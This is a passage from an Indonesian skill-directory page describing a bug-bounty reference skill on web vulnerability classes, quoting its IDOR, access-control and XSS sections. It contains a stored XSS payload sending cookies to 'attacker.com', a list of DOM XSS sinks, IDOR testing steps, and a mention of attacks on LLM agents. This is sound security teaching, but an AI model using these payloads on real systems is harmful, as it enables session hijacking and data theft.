Langsung ke konten
Skillpedia
Keamanan5.5k Β· #14797

web2-vuln-classes

Fungsinya

Skill ini adalah panduan referensi bagi agent yang menguji aplikasi web. Skill ini menjelaskan bagaimana kelemahan umum seperti IDOR, SSRF, XSS, dan SQL injection terjadi serta cara mengenalinya.

Kapan dipakai

  • βœ“Saat penguji ingin mempelajari cara kerja kelemahan web umum seperti IDOR atau SSRF.
  • βœ“Saat penguji memerlukan pola deteksi atau ide bypass untuk kelas kelemahan tertentu.
  • βœ“Saat penguji ingin memeriksa sebuah temuan terhadap akar masalah yang sudah dikenal.

Link skill

https://github.com/awarexone/Agentic-Bug-Hunter/blob/main/skills/web2-vuln-classes/SKILL.md

Salin lalu tempelkan ke AI Anda (Claude, ChatGPT, atau Cursor) dan minta AI mengikuti instruksinya.

Cara pakai

Cara paling mudah: salin pesan ini dan tempelkan ke AI Anda. AI akan membaca skill dan mengikuti instruksinya.

Pesan siap tempel

Gunakan skill ini untuk membantu saya: https://github.com/awarexone/Agentic-Bug-Hunter/blob/main/skills/web2-vuln-classes/SKILL.md Baca file SKILL.md di link tersebut dan ikuti instruksinya untuk tugas saya.
Mau AI Anda menemukan skill seperti ini sendiri?Pasang MCP Skillpedia gratis: cukup satu baris, dan AI mencari di antara 15.000+ skill sebelum tiap tugas.Pasang dalam 1 menit β†’

Contoh permintaan ke AI

β€œJelaskan cara menguji aplikasi ini untuk IDOR, dengan akar masalah yang umum dan apa yang perlu dicari.”

5 skill baru setiap minggu. 1 menit baca.

Cara kerjanya

Agent mencari kelas yang tepat dalam referensi, lalu menggunakan akar masalah, pola deteksi, dan tabel bypass-nya untuk merencanakan pengujian. Kelas yang memerlukan login ditandai, dan dua sesi disarankan untuk pemeriksaan akses.

Konten teknis (SKILL.md asli)

Teks asli dari pembuat, dalam bahasa Inggris, langsung dari GitHub.

WEB2 BUG CLASSES β€” 26 Classes

Root cause, pattern, bypass table, chaining opportunity, real paid examples.

Auth-required classes (πŸ”): the ones below need at least one logged-in session loaded into the hunt to be testable. Use hunt.py --auth-file .private/T.json or --cookie/--bearer flags β€” every recon/scan tool then inherits the headers automatically. For IDOR/BOLA/priv-esc, load two sessions (low- and high-priv) and diff. See docs/auth-sessions.md.

πŸ” IDOR Β· Broken Auth/Access Control Β· Mass Assignment Β· OAuth/OIDC Β· JWT Β· GraphQL field-level auth Β· LLM/AI chatbot IDOR Β· MFA (rate-limit + response manipulation tests) Β· ATO chains Β· SSRF behind login

The MFA workflow-skip and SAML signature-stripping probes intentionally stay unauthenticated even when a session is loaded β€” that's the attack premise.


1. IDOR β€” INSECURE DIRECT OBJECT REFERENCE πŸ”

#1 most paid web2 class β€” 30% of all submissions that get paid. Needs two sessions (A=attacker, B=victim) β€” load both via --auth-file and diff audit-log session_id hashes to confirm cross-tenant access.

Root Cause

# VULNERABLE β€” no ownership check
@app.route('/api/orders/<order_id>')
def get_order(order_id):
    order = db.query("SELECT * FROM orders WHERE id = ?", order_id)
    return jsonify(order)  # Never checks if order belongs to current user!

# SECURE
@app.route('/api/orders/<order_id>')
def get_order(order_id):
    order = db.query("SELECT * FROM orders WHERE id = ? AND user_id = ?",
                     order_id, current_user.id)

Variants

  • V1: Numeric ID swap β€” /api/user/123/profile β†’ change to 124
  • V2: UUID swap β€” enumerate UUID via email invite or other endpoint
  • V3: Indirect IDOR β€” POST /api/export?report_id=456 exports another user's report
  • V4: Parameter add β€” ?user_id=other makes backend use it
  • V5: HTTP method swap β€” PUT protected, DELETE not
  • V6: Old API version β€” /v1/users/123 lacks auth that /v2/ has
  • V7: GraphQL node β€” { node(id: "base64(User:456)") { email } }
  • V8: WebSocket β€” WS sends {"action":"get_history","userId":"client-generated-UUID"}

Testing Checklist

[ ] Two accounts (A=attacker, B=victim)
[ ] Log in as A, perform all actions, note all IDs
[ ] Replay A's requests with A's token but B's IDs
[ ] Test EVERY HTTP method (GET, PUT, DELETE, PATCH)
[ ] Check API v1 vs v2
[ ] Check GraphQL node() queries
[ ] Check WebSocket messages for client-supplied IDs

IDOR Chain Escalation

  • IDOR + Read PII = Medium
  • IDOR + Write (modify other's data) = High
  • IDOR + Admin endpoint = Critical (privilege escalation)
  • IDOR + Account takeover path = Critical
  • IDOR + Chatbot reads other user's data = High

2. BROKEN AUTH / ACCESS CONTROL πŸ”

#2 most paid class. The sibling function rule: if 9 endpoints have auth, the 10th that doesn't is your bug. Needs auth loaded β€” you're testing which sibling routes a logged-in user can reach that shouldn't be reachable. Compare authed responses against the same paths hit anonymously.

The Sibling Rule

/api/admin/users  β†’ has auth middleware
/api/admin/export β†’ often MISSING it
/api/admin/delete β†’ often MISSING it
/api/admin/reset  β†’ often MISSING it

Patterns

// Missing middleware on sibling
router.get('/admin/users', authenticate, authorize('admin'), getUsers);
router.get('/admin/export', getExport);  // No middleware!

// Client-side role check only
if (user.role === 'admin') showAdminButton();
// Backend: app.post('/api/admin/delete', deleteUser); // no server check!

Real Paid Examples

  • HackerOne TrustHub: POST /graphql with TrustHubQuery β€” no auth, regular user reads all vendors (CVSS 8.7 High)
  • Vienna Chatbot: WebSocket get_history accepts arbitrary UUID β€” no ownership check (P2)

3. XSS β€” CROSS-SITE SCRIPTING

Stored XSS (highest impact)

Input: "<script>document.location='https://attacker.com/c?c='+document.cookie</script>"
Any user viewing page executes attacker JS β†’ cookie theft β†’ session hijack

DOM XSS Sinks (grep for these)

innerHTML = userInput           // HIGH RISK
outerHTML = userInput
document.write(userInput)
eval(userInput)
setTimeout(userInput, ...)      // string form
element.src = userInput         // JavaScript URI possible
location.href = userInput

postMessage is a DOM XSS source β€” same sinks above (innerHTML, eval

Pertanyaan umum

Berapa banyak kelas yang dicakup?

Skill ini mencakup 26 kelas bug web, termasuk IDOR, SSRF, XSS, SQL injection, dan unggah file.

Mengapa memakai dua sesi?

Skill ini menyarankan memuat sesi dengan hak rendah dan sesi dengan hak tinggi untuk membandingkan akses.

Apakah ada risiko AI di dalamnya?

Ada. Skill ini mencakup risiko LLM dan AI yang dipetakan ke kategori ASI.

Detail

Deskripsi asli dari pembuat

Complete reference for 26 web2 bug classes with root causes, detection patterns, bypass tables, exploit techniques, and real paid examples. Covers IDOR, auth bypass, XSS (postMessage), SSRF (11 IP bypass techniques), SQLi, business logic, race conditions, OAuth/OIDC, file upload (10 bypass techniques), GraphQL, LLM/AI (ASI01-ASI10, MCP/RAG attacks), API misconfig (mass assignment, JWT, prototype pollution, CORS), ATO (9 paths), SSTI, subdomain takeover, cloud misconfig, HTTP smuggling, cache poisoning, MFA bypass (7 patterns), SAML attacks, error disclosure, CSS injection, LFI/RCE, insecure de

repo: awarexone/Agentic-Bug-Hunter

Popularitas

Bintang GitHub
5.5k
Peringkat
#14797
Lisensi
MIT
Diperbarui
28/10/2026

Apakah skill ini berguna?

0

Masuk untuk memberi suara.

Komentar

  • …

Skill lain dari repositori ini

Skill serupa